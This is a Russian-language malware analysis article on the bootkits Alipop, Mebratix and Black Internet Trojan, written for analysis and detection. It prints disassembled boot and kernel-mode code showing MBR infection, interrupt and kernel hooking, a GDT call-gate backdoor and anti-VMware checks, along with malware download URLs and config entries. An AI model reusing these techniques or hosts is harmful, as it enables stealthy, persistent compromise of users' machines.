Буткиты: новый виток развития
В этой статье речь пойдет о буткитах — вредоносных программах, получающих управление до начала загрузки операционной системы посредством инфицирования главной загрузочной записи жесткого диска (MBR).
Дмитрий Олексюк. Анализ и обнаружение буткита Sinowal.
Первый вредоносный буткит, известный под именами Sinowal и Mebroot, появился в 2007 году, и представлял собой на тот момент заметную инновацию. Затем последовало затишье: в течение трех лет технология заражения MBR практически не использовалась разработчиками вредоносного кода, несмотря на её привлекательность: антивирусы всегда плохо справлялись даже с хорошо изученным буткитом Sinowal, не говоря уже о технологии заражения MBR в целом.
И вот, относительно недавно свет увидели несколько новых вредоносных программ класса «буткит». Это знаковое событие, указывающее на то, что практика применения буткит-техник во вредоносных программах не закончится одиночными образцами, а, возможно, приобретёт более массовый характер.
Derek Soeder, Ryan Permeh. eEye BootRoot: A Basis for Bootstrap-Based Windows Kernel Code.
Данная статья представляет собой, в первую очередь, обзор новых семейств буткитов. Особое внимание будет уделено принципам функционирования загрузочного кода, так как данный вопрос освещался только в докладе о концептуальной технологии eEye BootRoot от 2005 года.
Технические средства для анализа буткитов
Код буткита невозможно анализировать при помощи обычных отладчиков режима ядра, так как он начинает исполнятся на самом раннем этапе работы системы, а именно после того, как BIOS передаёт управление загрузочному сектору. Поэтому для отладки загрузочного кода могут быть использованы лишь виртуальные машины с возможностью отладки исполняемого кода. На данный момент необходимыми возможностями обладают виртуальные машины QEMU и Bochs. Рассмотрим каждую из этих программ подробнее.
1. Отладка при помощи QEMU
QEMU — свободно распространяемая программа с открытым исходным кодом. Её возможности включают в себя эмуляцию процессоров с архитектурой x86, x86-64 и многих других, а также устройств ввода-вывода. Поддерживается отладка эмулируемого кода с помощью отладчика GDB, что подробно описано в документации к QEMU.

Использование GDB в связке с QEMU
По мнению автора статьи, вместо GDB удобнее использовать отладчик, встроенный в дизассемблер IDA Pro, начиная с версии 5.4. Процесс настройки отладчика и виртуальной машины подробно описан в документации к IDA Pro. Остановимся на некоторых особенностях, касающихся отладки загрузочного кода.
После подключения отладчика к виртуальной машине и инициализации сессии необходимо установить аппаратную точку останова на адрес 0000:7C00h, с которого начинает исполняться загрузочный код. Для этого перейдем на вкладку «Breakpoints» и в контекстном меню выберем пункт «Insert...»:

Добавление новой точки останова в IDA Pro
После добавления точки останова исполнение кода можно продолжить (F9).
Заметим, что для отладки 16-битного кода необходимо вручную отредактировать настройки сегмента после того, как сработает точка останова. Для этого откроем пункт главного меню «Edit» → «Segments» → «Edit Segment...» и установим 16-разрядный режим адресации для текущего сегмента:

Настройки сегмента в IDA Pro
После этого можно перейти в окно анализа кода и исследовать код загрузочного сектора.

Отладка загрузочного кода в IDA Pro
2. Отладка при помощи Bochs
Bochs — свободно распространяемая система, возможности которой включают в себя эмуляцию процессоров архитектуры x86/x86-64 и устройств ввода-вывода.
Данная система отличается высокой точностью эмуляции, так как интерпретирует каждую инструкцию виртуального процессора. Однако по той же причине Bochs заметно проигрывает с точки зрения производительности не только популярным виртуальным машинам, таким как VMware или VirtualBox, но и вышеописанному эмулятору QEMU. Поэтому перед запуском Bochs целесообразно иметь уже готовый образ жесткого диска с установленной операционной системой. Такой образ можно создать с помощью QEMU.
Отладчик Bochs представляет собой отдельное приложение bochsdbg.exe
, при запуске которого отображается диалоговое окно, позволяющее изменить настройки виртуальной машины, восстановить или сохранить её конфигурацию.

Окно запуска Bochs
После запуска виртуальной машины открывается консоль отладчика с аскетичным, но достаточным для работы набором команд, список которых доступен по команде «help
». Для установки точки останова на начало загрузочного кода достаточно набрать «lb 0x7c00
» и затем «c
» для продолжения исполнения кода.

Отладка кода в Bochs
Анализ новых буткитов
Backdoor.Win32.Trup.a (Alipop)
Буткит Alipop появился примерно в мае 2010 года. Он имеет китайское происхождение, о чем свидетельствуют рекламные всплывающие окна и AdWare на китайском языке.
Самозащита
Троян не применяет никаких техник для обхода проактивных защит, однако код большинства его процедур защищён от анализа при помощи старой, но достаточно эффективной техники. Её суть заключается в том, что ряд полезных инструкций процессора маскируется внутри более длинной цепочки опкодов, которая целиком расшифровывается дизассемблером как ложная инструкция.
.text:0040546D call FindFirstFileA .text:00405473 cmp eax, 0FFFFFFFFh .text:00405476 jz short loc_405492 .text:00405478 jz near ptr loc_405484+1 .text:0040547E jnz near ptr loc_405484+1 .text:00405484 .text:00405484 loc_405484: .text:00405484 call near ptr 4248F1h .text:00405489 add bh, bh .text:0040548B adc eax, offset Sleep .text:00405490 jmp short loc_40545F
В действительности вышеприведенный код исполняется в следующем виде:
.text:0040546D call FindFirstFileA .text:00405473 cmp eax, 0FFFFFFFFh .text:00405476 jz short loc_405492 .text:00405478 jz loc_405485 .text:0040547E jnz loc_405485 .text:0040547E ; --------------------------------------------------------------------------- .text:00405484 db 0E8h .text:00405485 ; --------------------------------------------------------------------------- .text:00405485 .text:00405485 loc_405485: .text:00405485 push 1F4h .text:0040548A call Sleep .text:00405490 jmp short loc_40545F
Как видно из листинга, пятибайтовая инструкция call
по адресу 00405484 не несёт полезной нагрузки, поскольку предшествующие ей переходы всегда передают управление по адресу 00405485, где на самом деле находится инструкция push
. Использование данного приёма затрудняет анализ кода в дизассемблере IDA, а его декомпиляция с помощью HexRays оказывается невозможной без предварительной обработки кода.
Инсталлятор
Инсталлятор буткита представляет собой исполняемый файл размером около 24 кБ (MD5: 3f5cff08b83a0a9ad5f8e0973b77a2ac), внутри которого содержатся все остальные компоненты буткита.
При запуске инсталлятора создается и запускается файл C:\WINDOWS\ali.exe
(MD5: 570e6e5c1d0c95c5a446f6f62fa90468, размер около 17 кБ), который содержит в себе основной рабочий код трояна.
Для обеспечения автозагрузки инсталлятор записывает код буткита в первые 40 секторов жесткого диска:
"CreateFile", "\Device\Harddisk0\DR0", "Desired Access: Generic Read/Write, Disposition: Open" "ReadFile", "\Device\Harddisk0\DR0", "Offset: 0, Length: 20,480, I/O Flags: Non-cached" "WriteFile", "\Device\Harddisk0\DR0", "Offset: 0, Length: 20,480, I/O Flags: Non-cached" "CloseFile", "\Device\Harddisk0\DR0"

Инфицированная MBR
Код буткита вызывается при следующей перезагрузке системы.
Загрузочный код
Загрузочный код буткита, во-первых, резервирует 20 кБ базовой памяти. Для этого он уменьшает значение объёма базовой памяти в соответствующей переменной BIOS по адресу 0040h:0013h. В зарезервированную область с помощью функции 2 прерывания 13h считываются компоненты буткита из первых 40 секторов жесткого диска, после чего управление передается прочитанному коду.
seg000:001F pushad seg000:0021 push ds seg000:0022 mov bx, word ptr cs:0413h seg000:0027 sub bx, 14h ; Резервирование 20 кБ памяти seg000:002B and bl, 0FCh seg000:002E mov word ptr cs:0413h, bx seg000:0033 shl bx, 6 ; Вычисление линейного адреса зарезервированного региона seg000:0036 mov es, bx seg000:0038 xor bx, bx seg000:003A mov ax, 228h ; Считывание первых 40 секторов seg000:003D mov cx, 1 seg000:0040 mov dx, 80h seg000:0043 int 13h seg000:0045 push es seg000:0046 push 4Ah ; Передача управления прочитанному коду по смещению 4Ah seg000:0049 retf
Прочитанные код и данные, начиная со смещения 83h, зашифрованы с помощью обратимой операции ROR, и далее происходит их расшифровка. После расшифровки буткит устанавливает перехват прерывания 13h BIOS, что позволяет осуществлять контроль за операциями чтения с диска на начальных этапах загрузки системы. Наконец, происходит вызов оригинального загрузчика ОС, сохранённого инсталлятором буткита в секторе 39.
seg000:0083 mov eax, dword ptr es:004Сh seg000:0088 mov dword ptr cs:00F3h, eax ; Сохранение оригинального обработчика int 13h seg000:008D and dword ptr es:004Сh, 0 seg000:0097 or word ptr es:004Сh, 0E6h ; Установка нового адреса обработчика seg000:009E mov word ptr es:004Eh, cs ; Установка нового селектора обработчика seg000:00A3 xor ebx, ebx seg000:00A6 mov bx, cs seg000:00A8 shl ebx, 4 ... seg000:00C5 mov di, 7C00h seg000:00C8 push cs seg000:00C9 pop ds seg000:00CA mov si, 4C00h ; Копирование оригинального загрузочного сектора на 7C00h seg000:00CD mov cx, 200h seg000:00D0 cld seg000:00D1 rep movsb seg000:00D3 pop ds seg000:00D4 popad seg000:00D6 lss sp, dword ptr es:0602h ; Восстановление sp seg000:00DC mov es, word ptr es:0600h ; Восстановление es seg000:00E1 jmp far ptr 0:7C00h ; Переход к исполнению оригинального загрузочного кода
Перехват прерывания 13h устанавливается с целью модификации кода модуля OSLOADER.EXE
, представляющего собой часть модуля NTLDR
, при его чтении с системного раздела. Задача осуществляемой модификации — передача управления на код буткита, исполняемый в защищённом режиме: именно в этом режиме исполняется OSLOADER.EXE
.
Код OSLOADER.EXE
, подлежащий модификации, ищется по сигнатуре в буфере со считанными в результате отработки прерывания данными:
seg000:0120 mov di, bx ; di - указатель на буфер с данными seg000:0122 mov al, 8Bh ; первый байт сигнатуры seg000:0124 cld seg000:0125 seg000:0125 loc_125: seg000:0125 repne scasb seg000:0127 jnz short loc_159 seg000:0129 cmp dword ptr es:[di], 74F685F0h ; 2-5 байты сигнатуры seg000:0131 jnz short loc_125 seg000:0133 cmp word ptr es:[di+4], 8021h ; 6-7 байты сигнатуры seg000:0139 jnz short loc_125 seg000:013B push es seg000:013C xor eax, eax seg000:013F mov es, ax seg000:0141 mov ax, cs seg000:0143 shl eax, 4 seg000:0147 add eax, 200h seg000:014D pop es seg000:014E mov word ptr es:[di-1], 15FFh ; Запись инструкции call dword ptr [addr] seg000:0154 mov es:[di+1], eax
Искомый код OSLOADER
представляет собой следующий набор инструкций:
.text:00422B77 call _BlLoadBootDrivers@12 .text:00422B7C mov esi, eax .text:00422B7E test esi, esi .text:00422B80 jz short loc_422BA3 .text:00422B82 .text:00422B82 loc_422B82: .text:00422B82 cmp _BlRebootSystem, 0 .text:00422B89 jz short loc_422B92
Приведенный фрагмент относится к функции _BlOsLoader@12()
. Модифицируемые буткитом байты непосредственно следуют за вызовом функции _BlLoadBootDrivers@12()
. Эта функция загружает в память драйверы системных сервисов, имеющих тип запуска SERVICE_BOOT_START
. Код модификации представляет собой инструкцию call
, которая передаёт управление резидентному коду буткита, находящемуся в зарезервированной базовой памяти по смещению 200h. Таким образом, код буткита получит управление в тот момент, когда процессор будет находится в 32-битном защищённом режиме.
Код защищённого режима
Код буткита защищённого режима начинает своё исполнение с получения адреса загрузки ядра. Этот адрес извлекается из первой записи списка загруженных модулей, представляющей собой структуру типа LDR_DATA_TABLE_ENTRY
. Указатель на список загруженных модулей может быть получен из глобальной переменной _BlLoaderBlock
модуля OSLOADER.EXE
. В частности, переменная _BlLoaderBlock
содержит указатель на структуру _LOADER_PARAMETER_BLOCK
, копия которого используется как локальная переменная в коде функции _BlAllocateDataTableEntry@16()
. Для поиска этого участка кода буткит также использует сигнатуру.
Кроме того, виртуальный адрес памяти, по которому загружается NTLDR
и другие системные модули, извлекается из локальной переменной KdDllBase
, к которой модифицированная функция _BlOsLoader@12()
обращается по фиксированному смещению от ebp
:
seg001:00000206 mov edi, [esp+24h] ; edi - значение переменной KdDllBase seg001:0000020A and edi, 0FFF00000h seg001:00000210 cld seg001:00000211 mov al, 0C7h ; Первый байт сигнатуры для поиска _BlLoaderBlock seg001:00000213 loc_213: seg001:00000213 scasb seg001:00000214 jnz short loc_213 seg001:00000216 cmp dword ptr [edi], 40003446h ; Остальные 4-е байта сигнатуры seg001:0000021C jnz short loc_213 seg001:0000021E mov al, 0A1h seg001:00000220 loc_220: seg001:00000220 scasb seg001:00000221 jnz short loc_220 seg001:00000223 mov esi, [edi] ; esi - указатель на список загруженных модулей seg001:00000225 mov esi, [esi] ; esi - указатель на первую _LDR_DATA_TABLE_ENTRY seg001:00000227 lodsd seg001:00000228 mov ebx, [eax+18h] ; ebx - адрес загрузки ядра seg001:0000022B call sub_267
В процедуре sub_267
выполняется перехват функции ядра nt!IoGetCurrentProcess()
таким образом, что бы при её вызове управление получал код буткита следующего, третьего этапа, которому необходимо исполняться в 32-разрядном защищённом режиме после инициализации ядра операционной системы.
seg001:00000267 pop esi ; Получаем адрес кода буткита по адресу возврата seg001:00000268 mov ecx, 37h seg001:0000026D mov [esi+2B6h], ebx seg001:00000273 lea edi, [ebx+40h] seg001:00000276 mov ebp, edi seg001:00000278 rep movsb ; Копируем код буткита по смещению 0x230-0x267 в заголовок образа ядра поверх DOS stub seg001:0000027A push 0CE8C3177h seg001:0000027F call GetProcByHash ; Получаем адрес IoGetCurrentProcess по хэшу от имени seg001:00000284 xchg eax, esi seg001:00000285 sub edi, 0Ah seg001:0000028B movsd ; Сохраняем первые 5 байт функции seg001:0000028C sub edi, 6 seg001:00000292 movsb seg001:00000293 mov byte ptr [esi-5], 0E8h seg001:00000297 sub ebp, esi seg001:00000299 mov [esi-4], ebp ; Модификация IoGetCurrentProcess вызовом по адресу nt+0x40
Обычно, первый вызов функции nt!IoGetCurrentProcess()
происходит по завершению инициализации ядра с помощью функции nt!Phase1Initialization()
:
kd> kb ChildEBP RetAddr Args to Child f9dc35f0 80688d7e 8198c338 8008ecb8 8008ecb8 nt+0x40 f9dc3630 8068ac22 8198c3ec 8008ecb8 0000000c nt!IopInitializeBuiltinDriver+0x260 f9dc3694 80687b48 80082000 f9dc36b0 00034000 nt!IopInitializeBootDrivers+0x2d2 f9dc383c 80685fdd 80082000 00000000 819cc538 nt!IoInitSystem+0x712 f9dc3dac 805c6160 80082000 00000000 00000000 nt!Phase1Initialization+0x9b5 f9dc3ddc 80541dd2 80685628 80082000 00000000 nt!PspSystemThreadStartup+0x34 00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16 kd> u nt!IoGetCurrentProcess nt!IoGetCurrentProcess: 804ee608 e8338afeff call nt+0x40 (804d7040) 804ee60d 008b4044c3cc add byte ptr [ebx-333CBBC0h],cl 804ee613 cc int 3 804ee614 cc int 3 804ee615 cc int 3 804ee616 cc int 3 804ee617 cc int 3
Код, выполняемый после инициализации ядра
«Полезная нагрузка» — часть кода трояна, выполняющая основную работу, в отличие от служебного кода вредоносной программы, который обеспечивает инсталляцию, функционирование и самозащиту трояна.
Обработчик перехвата nt!IoGetCurrentProcess()
выполняет восстановление оригинального кода функции, после чего вызывает nt!PsCreateSystemThread()
для запуска системного потока, который выполняет код «полезной нагрузки» буткита. Код «полезной нагрузки» делает следующее:
- Создаёт в ключе реестра
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
строковый параметр со значением «C:\WINDOWS\ali.exe
», обеспечивая запуск троянского процесса по завершению загрузки системы. - Создаёт файл
C:\WINDOWS\ali.exe
, содержимое которого на этапе инсталляции буткита в систему записывается инсталлятором, начиная с сектора 4 жесткого диска. - Устанавливает шлюз вызова в GDT, благодаря которому любой код пользовательского режима получает возможность исполнения произвольных инструкций с наивысшими привилегиями.
Дмитрий Олексюк. Уязвимости в драйверах режима ядра для Windows.

Шлюз вызова в GDT («чёрный ход»)
Таким образом, разработчики буткита Alipop отказались от традиционной техники использования драйвера режима ядра, предпочтя использование процесса пользовательского режима — более простую и менее скрытную технику. Возможно также, что данный буткит разрабатывался в качестве универсального средства для запуска произвольных вредоносных программ из загрузочного сектора.
Троянский процесс
Основная задача процесса ali.exe
— получение с сервера команд на скачивание и запуск других вредоносных программ. При этом для отправки HTTP-запросов используется процесс браузера Internet Explorer, запускаемый со скрытым окном.

Троянский процесс

Запрос файла конфигурации с сервера
Зашифрованный файл конфигурации трояна загружается с сервера по фиксированному адресу http://list.577q.com/sms/xxx.ini
и сохраняется в каталоге C:\WINDOWS
под именем win.ini
.
Пример содержимого файла конфигурации:
[DownLoad] exe1=coopen_setup_100201.exe-8.0|http://download.coopen.cn/setup/v5/coopen_setup_100201.exe exe2=pptv(pplive)jixian_113459_s.exe-1.0|http://60.173.10.28:4321/pptv(pplive)jixian_113459_s.exe [ad] ad1=12 [HomePage] home=http://www.67ku.com [Time] DownLoadIniTime=120 PopAdTime=2 DownLoadLelayTime=1 RunDelayTime=0 FirstRunExeTime=2 FirstPopWidTime=1 cjver=2 cjaddr= [Link] Link1=|http://66.79.168.187:55325/tuling.html
Троян Alipop, хотя и использует технику заражения загрузочного сектора, может быть легко обнаружен и удален, так как в нём отсутствуют механизмы сокрытия вредоносной активности. Не предусмотрен в нем и защитный механизм восстановления загрузочного сектора буткита при попытке его перезаписи. Благодаря всему этому возможно излечить зараженную систему путем ручного восстановления загрузочной записи с помощью любого шестнадцатеричного дискового редактора (например, WinHex).
Mebratix.b (Ghost Shadow)
Symantec Security Response. Trojan.Mebratix.B — the Ghost in MBR.
Информация о бутките Mebratix впервые была опубликована в блоге компании Symantec.
Инсталлятор этого буткита (MD5: 1b465d5c330d99bdccffd299bf71010f, размер около 30 кБ) не отличается чем-либо примечательным.
Загрузочный код
Загрузочный код буткита Mebratix полностью идентичен стандартному загрузочному коду Windows, за исключением единственной трёхбайтовой инструкции. Рассмотрим оба дизассемблированных кода.
Загрузочный код Windows:
seg000:00CA mov ax, 201h ; ah - номер функции 13-го прерывания 13h (02h, чтение данных с диска) ; al - количество считываемых секторов seg000:00CD mov bx, 7C00h ; Адрес буфера, в который считываются данные seg000:00D0 mov cx, [bp+2] ; Номер дорожки и сектора (bp указывает на запись в таблице разделов) seg000:00D3 mov dx, [bp+0] ; Номер головки и диска seg000:00D6 int 13h seg000:00D8 jnb short locret_12B
Загрузочный код Mebratix:
seg000:00CA mov ax, 201h ; ah - номер функции 13-го прерывания 13h (02h, чтение данных с диска) ; al - количество считываемых секторов seg000:00CD mov bx, 7C00h ; Адрес буфера, в который считываются данные seg000:00D0 mov cx, 2 ; Номер дорожки и сектора (bp указывает на запись в таблице разделов) seg000:00D3 mov dx, [bp+0] ; Номер головки и диска seg000:00D6 int 13h seg000:00D8 jnb short locret_12B
Как видно из вышеприведенных листингов, загрузочный код Mebratix отличается от стандартного аргументами к инструкции mov
, находящейся по смещению 00D0h от начала загрузочного кода. Исходный вариант кода, по замыслу его разработчиков, выполняет чтение и передачу управления в первый сектор загрузочного раздела, а код буткита — во второй сектор диска, содержащий продолжение вредоносного кода.

Загрузочный код Mebratix (отличающаяся от кода стандартного загрузчика инструкция выделена)
Код буткита, содержащийся во втором секторе диска, выполняет резервирование 63 кБ базовой памяти тем же способом, что и буткит Alipop, затем копирует самого себя по адресу 9700:0000h и устанавливает перехватчик прерывания 13h:
seg000:0229 mov si, 533h seg000:022C xor si, 120h seg000:0230 lodsw ; Чтение слова, находящегося по 0040h:0013h (размер базовой памяти в килобайтах) seg000:0231 sub si, 2 seg000:0234 shl ax, 6 seg000:0237 and ax, 0FFFh seg000:023A shr ax, 6 seg000:023D sub [si], ax ; Резервирование 63 Кб базовой памяти seg000:023F xor eax, eax seg000:0242 mov ax, 9700h seg000:0245 mov es, ax seg000:0247 assume es:nothing seg000:0247 shl eax, 4 seg000:024B mov si, 7C00h seg000:024E xor di, di seg000:0250 mov ecx, 100h seg000:0256 rep movsw ; Копирование кода сектора 2 по адресу 9700:0000h seg000:0258 mov es:0Eh, eax seg000:025D xor bx, bx seg000:025F mov eax, [bx+4Ch] seg000:0263 mov word ptr [bx+4Ch], 0F9h ; Установка адреса обработчика прерывания 13h seg000:0268 mov es:106h, eax ; Сохранение адреса оригинального обработчика seg000:026D mov word ptr [bx+4Eh], es ; Установка нового значения селектора обработчика seg000:0270 push es seg000:0271 push 75h ; Передача управления коду по смещению 75h seg000:0274 retf
Следующая часть загрузочного кода выполняет чтение 59 секторов жесткого диска (начиная с сектора 3) в память по адресу 9700:0200h. В этих секторах хранятся все остальные компоненты буткита, причём сектора с 3 по 6 зашифрованы с помощью операции xor, ключевой байт для которой вычисляется динамически на каждой итерации. Ниже приведен фрагмент кода, выполняющего расшифровку секторов.
seg000:0297 mov esi, 200h ; Указатель на прочитанные данные seg000:029D mov ebx, 3333h ; Стартовая константа для вычисления ключа seg000:02A3 mov ecx, 600h ; Размер данных, подлежащих расшифровке (3 сектора) seg000:02A9 loc_2A9: seg000:02A9 call GetXorKey ; Получаем ключ для текущей итерации seg000:02AC xor [esi], al seg000:02AF add esi, 1 seg000:02B3 sub ecx, 1 seg000:02B7 jnz short loc_2A9 ... seg000:03C5 GetXorKey proc near ; Процедура вычисления ключа seg000:03C5 imul ebx, 343FDh seg000:03CC add ebx, 269EC3h seg000:03D3 mov eax, ebx seg000:03D6 shr eax, 10h seg000:03DA and eax, 0FFh seg000:03E0 retn seg000:03E0 GetXorKey endp
Возможно, код вычисления ключа был вынесен разработчиками буткита в отдельную процедуру для обеспечения полиморфности, однако, получившие распространение экземпляры буткита использовали статический код.
Обработчик перехвата прерывания 13h выполняет модификацию кода модуля OSLOADER.EXE
точно таким же образом, как это делает буткит Alipop.
Код защищённого режима
Код буткита защищённого режима, вызываемый из модифицированного модуля OSLOADER.EXE
, служит для инициализации и запуска драйвера режима ядра буткита. Рассмотрим этот код подробнее.
seg001:00000604 mov esi, eax seg001:00000606 mov eax, [esp-4] seg001:0000060A and eax, 0FFFFF000h ; Получение адреса переменной BootDriverListHead seg001:0000060F push ebx seg001:00000610 call $+5 seg001:00000615 pop ebx seg001:00000616 and ebx, 0FFFFF000h seg001:0000061C or ebx, 600h ; Вычисление адреса кода буткита защищённого режима по адресу возврата seg001:00000622 mov [ebx], eax ; Сохранение BootDriverListHead seg001:00000624 mov eax, esi seg001:00000626 pop ebx seg001:00000627 test eax, eax seg001:00000629 pushf seg001:0000062A jnz short loc_634 seg001:0000062C add dword ptr [esp+4], 0 seg001:00000631 jmp short loc_634 seg001:00000634 loc_634: seg001:00000634 pusha seg001:00000635 call $+5 seg001:0000063A pop ebx seg001:0000063B and ebx, 0FFFFF000h seg001:00000641 lea ecx, large ds:106h seg001:00000647 mov eax, [ebx+ecx] ; Получение сохранённого адреса обработчика прерывания 13h seg001:0000064A mov ecx, cr0 seg001:0000064D push ecx seg001:0000064E btr ecx, 10h ; Сброс бита WP (отключение защиты на запись виртуальной памяти) seg001:00000652 mov cr0, ecx seg001:00000655 or byte ptr ds:0C0000000h, 3 seg001:0000065C mov large ds:4Ch, eax ; Восстановление оригинального обработчика прерывания 13h seg001:00000661 mov byte ptr ds:0C0000000h, 20h seg001:00000668 pop ecx seg001:00000669 mov cr0, ecx ; Установка сброшенного бита WP seg001:0000066C or ebx, 600h seg001:00000672 mov eax, [ebx] seg001:00000674 sub ebx, 600h seg001:0000067A mov esi, eax ; esi - BootDriverListHead seg001:0000067C loc_67C: seg001:0000067C mov esi, [esi] ; esi - указатель на _LDR_DATA_TABLE_ENTRY для конкретного модуля seg001:0000067E cmp esi, eax seg001:00000680 jz loc_763 seg001:00000686 mov ecx, [esi+18h] ; Получение адреса загрузки модуля из _LDR_DATA_TABLE_ENTRY seg001:00000689 cmp word ptr [ecx], 'ZM' ; Проверка сигнатуры MZ заголовка модуля ...
После выполнения этого кода буткит выполняет перебор всех загруженных в память исполняемых модулей с целью поиска в них секции, в конце которой присутствует 200h или более байт свободного пространства. В найденный таким образом модуль выполняется копирование кода загрузчика драйвера буткита, который изначально находился в секторе 4 жесткого диска.
seg001:000006C7 loc_6C7: seg001:000006C7 sub edx, 28h ; '(' seg001:000006CA mov ecx, [edx+8] ; ecx - VirtualSize секции seg001:000006CD or ecx, 0FFFh seg001:000006D3 sub ecx, 1FFh seg001:000006D9 add ecx, [edx+0Ch] ; Добавляем к ecx VirtualAddress seg001:000006DC add ecx, [esi+18h] ; Добавляем к ecx адрес загрузки модуля seg001:000006DF cmp dword ptr [ecx], 0 ; Проверка наличия свободного пространства в конце секции seg001:000006E2 jnz short loc_67C seg001:000006E4 mov edi, ecx seg001:000006E6 push edi seg001:000006E7 lea esi, [ebx+600h] seg001:000006ED mov ecx, 80h seg001:000006F2 rep movsd ; Копирование 200h байт
В большинстве случаев для хранения кода буткитом будет использована секция .data
, принадлежащая загруженному в память образу ядра операционной системы. Как видно из дампа заголовка соответствующего модуля, в секции .data
достаточно места для внедрения кода загрузчика.
kd> dh -s nt ... SECTION HEADER #5 .data name 16EA0 virtual size 6E800 virtual address 16F00 size of raw data 6E800 file pointer to raw data 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers C8000040 flags Initialized Data Not Paged (no align specified) Read Write ...
Для передачи управления коду загрузчика драйвера буткит модифицирует функцию ядра nt!PspCreateProcess()
таким образом, что бы в её начале вместо вызова функции nt!_SEH_prolog()
осуществлялся вызов загрузчика драйвера буткита.
Код функции nt!PspCreateProcess()
до модификации:
kd> u nt!PspCreateprocess nt!PspCreateProcess: 805d0866 681c010000 push 11Ch 805d086b 68c8a84d80 push offset nt!ObWatchHandles+0x664 805d0870 e81bb3f6ff call nt!_SEH_prolog
Код функции nt!PspCreateProcess()
после модификации:
nt!PspCreateProcess: 805c6a8c 681c010000 push 11Ch 805c6a91 68b09e4d80 push offset nt!ObWatchHandles+0x664 805c6a96 e88af8f7ff call 80546325
Так как функция nt!PspCreateProcess()
не экспортируется ядром, буткит выполняет её поиск путём анализа кода экспортируемой функции nt!PsCreateSystemProcess()
, а именно побайтовым поиском опкода первой инструкции call
(E8h), аргументом которой и является адрес функции nt!PspCreateProcess()
:
kd> u nt!PsCreateSystemProcess+0xa nt!PsCreateSystemProcess+0xa: 805d11da 50 push eax 805d11db 50 push eax 805d11dc ff35d0c26780 push dword ptr [nt!PspInitialSystemProcessHandle] 805d11e2 ff7510 push dword ptr [ebp+10h] 805d11e5 ff750c push dword ptr [ebp+0Ch] 805d11e8 ff7508 push dword ptr [ebp+8] 805d11eb e876f6ffff call nt!PspCreateProcess 805d11f0 5d pop ebp
Обычно первый вызов nt!PspCreateProcess()
происходит на этапе инициализации исполнительной подсистемы ядра:
kd> kb ChildEBP RetAddr Args to Child 805499a0 8069c0dc 8066fb50 001f0fff 80549a24 nt!PspCreateProcess+0xa 80549a4c 8069c419 80078000 80549be8 8068509c nt!PspInitPhase0+0x34e 80549a58 8068509c 00000000 80078000 80552740 nt!PsInitSystem+0x33 80549be8 80691f28 00000000 80078000 8003fc00 nt!ExpInitializeExecutive+0x742 80549c3c 8068fa9f 805529a0 80552740 80549f00 nt!KiInitializeKernel+0x3b2 00000000 00000000 00000000 00000000 00000000 nt!KiSystemStartup+0x2bf
Загрузчик драйвера
Код загрузчика драйвера режима ядра буткита выполняет следующие действия:
- Получение PID текущего процесса с помощью функции
nt!PsGetCurrentProcessId()
. Если полученное значение отличается от 4 (фиксированное значение PID для процессаSystem
), — происходит вызовnt!_SEH_prolog()
и возврат вnt!PspCreatepProcess()
. - Получение адреса глобальной переменной ядра
nt!psLoadedModulesList
путём сигнатурного анализа кода функцииnt!KeCapturePersistentThreadState()
. - Выделение 10000h байт памяти для образа драйвера режима ядра буткита с помощью функции
nt!ExAllocatePoolWithTag()
. - Копирование заголовков и секций драйвера в выделенную область памяти.
- Восстановление модифицированного кода функции
nt!PspCreateprocess()
. - Вызов точки входа драйвера буткита.
Драйвер и «полезная нагрузка»
Назначение драйвера буткита — внедрение кода пользовательского режима в процесс explorer.exe
и установка перехватов на обработчики IRP-запросов типа IRP_MJ_READ
/IRP_MJ_WRITE
драйвера класса диска Disk.sys
(\Driver\Disk
). Указанные перехваты обеспечивают защиту секторов диска, в которых хранятся компоненты буткита, от попыток чтения или перезаписи со стороны антивирусных программ. Стоит отметить, что код драйвера работает нестабильно, и во многих случаях при заражении компьютера не происходит установки перехватов и внедрения кода пользовательского режима.
Код пользовательского режима отправляет HTTP-запросы на сервер meifawu.com
. Файл конфигурации трояна загружается с адреса http://meifawu.com/n.txt
.

Отправляемые на сервер запросы
Black Internet Trojan
Буткит под названием Black Internet Trojan появился совсем недавно. Из всех новых буткитов он наименее известен, но и наиболее распространён, о чем можно судить по активности на антивирусных форумах. Одним из первых источников, в которых появилась информация о заражении, был англоязычный антивирусный форум MajorGeeks, а несколькими днями позже о нём сообщили и на русскоязычном VirusInfo.
Инсталлятор и самозащита
Инсталлятор буткита (MD5: e35310220715287c5765b273a1797836, размер файла около 1.2 мБ) защищён неизвестным шифровщиком. В коде расшифровки реализовано определение виртуальных машин VMware по факту присутствия характерного для них «черного хода»:
.text:004010A8 push 401113h ; Адрес SEH-обработчика исключений .text:004010AD push large dword ptr fs:0 .text:004010B4 push eax .text:004010B5 mov eax, 337h .text:004010BA pop eax .text:004010BB mov large fs:0, esp .text:004010C2 mov eax, 564D5868h ; 'VMXh' - магическая константа .text:004010C7 mov ebx, 0 .text:004010CC mov ecx, 0Ah .text:004010D1 xchg eax, ebx .text:004010D2 push ebx .text:004010D3 push eax .text:004010D4 pop ebx .text:004010D5 pop eax .text:004010D6 mov edx, 5658h ; Номер порта ввода-вывода VMware backdoor .text:004010DB in eax, dx ; Чтение данных из порта. ; На обычном компьютере (не виртуальном) ; эта инструкция сгенерирует исключение
Для того, чтобы обойти данный механизм самозащиты буткита, достаточно добавить в конец файла конфигурации VMware (.vmx
) строку, отключающую функцию «VMWare backdoor»:
monitor_control.restrict_backdoor = "TRUE"
Также установщик буткита обнаруживает факт своего исполнения с ограниченными привилегиями при помощи вызова функции GetTokenInformation()
с параметром TokenElevation
. В случае запуска под UAC установщик перезапускает свой процесс в цикле. Таким образом, пользователь будет получать предупреждения системы безопасности до тех пор, пока не подтвердит разрешение запуска процесса инсталлятора буткита с максимальными привилегиями.
